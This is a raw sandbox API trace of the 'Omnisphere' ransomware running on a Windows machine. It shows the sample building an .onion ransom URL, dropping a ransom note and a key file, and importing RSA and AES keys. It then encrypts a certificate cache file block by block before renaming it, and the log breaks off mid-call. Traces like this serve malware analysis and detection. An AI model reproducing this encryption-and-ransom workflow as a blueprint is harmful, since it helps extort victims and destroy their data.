lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0080.833] GetProcessHeap () returned 0x1600000 [0080.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166adb8 [0080.833] PathCombineW (in: pszDest=0x166adb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\!DECRYPT_OMNISPHERE.txt" [0080.833] GetProcessHeap () returned 0x1600000 [0080.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16663f0 [0080.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.835] WriteFile (in: hFile=0x3a8, lpBuffer=0x16663f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x16663f0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0080.836] CloseHandle (hObject=0x3a8) returned 1 [0080.836] GetProcessHeap () returned 0x1600000 [0080.836] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1650fa0 | out: hHeap=0x1600000) returned 1 [0080.836] GetProcessHeap () returned 0x1600000 [0080.836] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162ccb8 [0080.837] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\unique_decrypt.key" [0080.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.837] WriteFile (in: hFile=0x3a8, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0080.839] CloseHandle (hObject=0x3a8) returned 1 [0080.839] GetProcessHeap () returned 0x1600000 [0080.839] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162ccb8 | out: hHeap=0x1600000) returned 1 [0080.839] GetProcessHeap () returned 0x1600000 [0080.839] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631740 | out: hHeap=0x1600000) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0080.839] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0080.840] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.840] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x1148ce40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1148ce40, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.840] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x1148ce40, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1148ce40, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0080.840] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11466c0d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11466c0d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11466c0d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0080.840] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x11466c0d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="addressbook.acrodata.omnisphere", cAlternateFileName="ADDRES~1.OMN")) returned 1 [0080.840] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11466c0d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11466c0d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11466c0d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="addressbook.acrodata.omnisphere.id", cAlternateFileName="ADDRES~1.ID")) returned 1 [0080.840] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0080.840] GetProcessHeap () returned 0x1600000 [0080.840] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x16564a8 [0080.840] PathCombineW (in: pszDest=0x16564a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", pszFile="CRLCache" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0080.840] GetProcessHeap () returned 0x1600000 [0080.840] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x16562c8 [0080.840] PathCombineW (in: pszDest=0x16562c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*" [0080.840] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcb, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0080.841] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcb, cFileName="..", cAlternateFileName="")) returned 1 [0080.841] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bfcc0fc, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xdf6349d5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0xcb, cFileName="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", cAlternateFileName="0FDED5~1.CRL")) returned 1 [0080.841] GetProcessHeap () returned 0x1600000 [0080.841] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x164bd88 [0080.841] PathCombineW (in: pszDest=0x164bd88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", pszFile="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0080.841] StrStrW (lpFirst=".omnisphere", lpSrch=".crl") returned 0x0 [0080.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0080.841] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=637) returned 1 [0080.841] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.842] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] GetTickCount () returned 0x11546ba [0080.843] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668e78) returned 1 [0080.844] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639628) returned 1 [0080.844] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0080.844] CryptDestroyKey (hKey=0x1639628) returned 1 [0080.844] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0080.844] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27d, lpName=0x0) returned 0x3c4 [0080.844] MapViewOfFile (hFileMappingObject=0x3c4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27d) returned 0x3430000 [0080.845] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668570) returned 1 [0080.846] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b68) returned 1 [0080.846] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.846] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.847] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0080.848] CryptDestroyKey (hKey=0x1639b68) returned 1 [0080.848] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0080.848] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x27d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0080.848] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0080.849] GetProcessHeap () returned 0x1600000 [0080.849] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fe) returned 0x1650fa0 [0080.849] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" (normalized: 